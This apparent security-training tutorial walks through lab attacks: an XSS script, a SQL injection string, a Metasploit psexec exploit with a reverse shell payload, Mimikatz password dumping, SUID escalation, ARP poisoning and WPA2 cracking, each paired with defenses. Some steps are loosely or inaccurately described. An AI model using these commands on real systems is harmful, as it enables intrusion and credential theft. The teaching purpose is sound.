Now that you have completed the basic hacking exercises, let's move on to real-world attack techniques and security countermeasures. This guide covers web hacking, system hacking, network hacking, wireless hacking, and digital forensics in a detailed, step-by-step format — each paired with practical defense strategies to build a well-rounded security mindset. 🚀

Key Terms
XSS — Cross-Site Scripting
SQLi — SQL Injection
MITM — Man-in-the-Middle Attack
ARP — Address Resolution Protocol
SUID — Set User ID (Linux privilege bit)
WPA2 — Wi-Fi Protected Access 2
DVWA — Damn Vulnerable Web Application
SIEM — Security Information & Event Management
CSP — Content Security Policy
SOAR — Security Orchestration, Automation & Response

Ⅰ. Advanced Web Hacking: OWASP Top 10

Learn how to exploit and secure common web vulnerabilities.

✅ Requirements
  • Kali Linux (Attacker)
  • DVWA (Damn Vulnerable Web App) or bWAPP (Vulnerable Web Application)
  • Burp Suite (Web request interception tool)
📌 Exercise 1: Cross-Site Scripting (XSS) Attack

XSS allows attackers to inject malicious scripts into web pages.

1️⃣ Install and Run DVWA
  1. Open DVWA on the target machine (http://[Target IP]/dvwa/)
  2. Login — Username: admin / Password: password
  3. Set Security Level to "Low" in the settings
2️⃣ Perform an XSS Attack
  1. Navigate to "Vulnerabilities" → "XSS Stored"
  2. In the input field, enter the following script:
<script>alert('Hacked!');</script>
  1. Click submit and refresh the page — a pop-up should appear!
🛡️ Defense Strategies
  • Validate and sanitize input to remove <script> tags
  • Implement Content Security Policy (CSP) to block unauthorized scripts
📌 Exercise 2: SQL Injection Attack

SQL Injection manipulates database queries to gain unauthorized access.

1️⃣ Exploiting SQL Injection
  1. Navigate to "Vulnerabilities" → "SQL Injection"
  2. In the username field, enter:
' OR 1=1 --

👉 You are now logged in as an administrator! 🎯

🛡️ Defense Strategies
  • Use prepared statements (e.g., PDO, MySQLi)
  • Validate and sanitize all user inputs

Ⅱ. Advanced System Hacking: Windows & Linux Exploitation

✅ Requirements
  • Kali Linux (Attacker)
  • Windows 10 or Metasploitable (Target)
📌 Exercise 1: Windows Password Dumping (Mimikatz)

Extract stored Windows credentials using Mimikatz.

1️⃣ Exploit the Target System

Open Metasploit in Kali Linux:

msfconsole use exploit/windows/smb/psexec set RHOSTS [Target IP] set PAYLOAD windows/meterpreter/reverse_tcp exploit
2️⃣ Run Mimikatz to Dump Passwords
mimikatz privilege::debug sekurlsa::logonpasswords

👉 Windows user credentials will be displayed!

🛡️ Defense Strategies
  • Enable LSASS protection
  • Use Windows Defender Credential Guard
📌 Exercise 2: Linux Privilege Escalation

Gain root access by exploiting misconfigured SUID files.

1️⃣ Find SUID Binaries
ssh user@[Target IP] find / -perm -4000 2>/dev/null

👉 This lists all SUID-enabled files, which could be exploited.

2️⃣ Exploit a Misconfigured Binary
./vulnerable_program /bin/bash -p

👉 You now have root access! 🎉

🛡️ Defense Strategies
  • Regularly audit SUID files (find / -perm -4000)
  • Keep system updates and patches applied

Ⅲ. Network Hacking: Man-in-the-Middle (MITM) Attacks

Intercept and manipulate network traffic.

✅ Requirements
  • Kali Linux (Attacker)
  • Wireshark, Ettercap (Packet analysis tools)
📌 Exercise 1: ARP Spoofing Attack
1️⃣ Open Ettercap in Kali Linux
ettercap -G
  1. Select "Sniff" → "Unified Sniffing" and choose your network interface
  2. Scan for hosts: "Hosts" → "Scan for hosts"
  3. Select the target and run "Mitm" → "ARP poisoning"
    👉 You can now capture their network traffic!
🛡️ Defense Strategies
  • Use ARP spoofing detection tools (e.g., ARPwatch)
  • Implement network segmentation and VLANs

Ⅳ. Wireless Hacking: Wi-Fi Exploitation

Hack into a WPA2-protected network using handshake attacks.

✅ Requirements
  • Kali Linux
  • Wireless adapter supporting monitor mode
📌 Exercise 1: Cracking WPA2 Handshake
1️⃣ Start Monitoring Mode
airmon-ng start wlan0 airodump-ng wlan0mon
2️⃣ Capture Packets from Target Wi-Fi
airodump-ng -c [channel] --bssid [target BSSID] -w capture wlan0mon
3️⃣ Crack the Captured Handshake
aircrack-ng -w rockyou.txt -b [target BSSID] capture.cap

👉 If successful, the Wi-Fi password is revealed! 🎉

🛡️ Defense Strategies
  • Upgrade to WPA3 encryption
  • Enable MAC address filtering

Ⅴ. Digital Forensics: Investigating a Cyber Attack

Analyze logs and memory dumps to detect hacker activity.

✅ Requirements
  • Kali Linux
  • Volatility, Autopsy (Forensic tools)
📌 Exercise 1: Memory Dump Analysis
1️⃣ Load a Memory Dump
volatility -f memory.dmp imageinfo
2️⃣ Identify Running Processes
volatility -f memory.dmp pslist

👉 You can now analyze malicious processes!

🛡️ Defense Strategies
  • Implement real-time SIEM (Security Information and Event Management)
  • Automate security responses using SOAR (Security Orchestration, Automation, and Response)

Captain's Take — Knowing the Attack is the Best Defense

Understanding how attackers operate is the foundation of building effective maritime cybersecurity defenses:

✅ Web vulnerabilities (XSS, SQLi) remain among the most exploited vectors in ship management portals and fleet monitoring systems
✅ MITM and ARP spoofing are particularly dangerous on vessel OT/IT networks where traffic is rarely encrypted
✅ Digital forensics skills are critical for incident response when a ship's navigation or automation system is compromised

🔚 Final Steps: Strengthening Security After Practice

  • Reset virtual machines after each hacking session
  • Learn incident response strategies
  • Apply latest security patches consistently
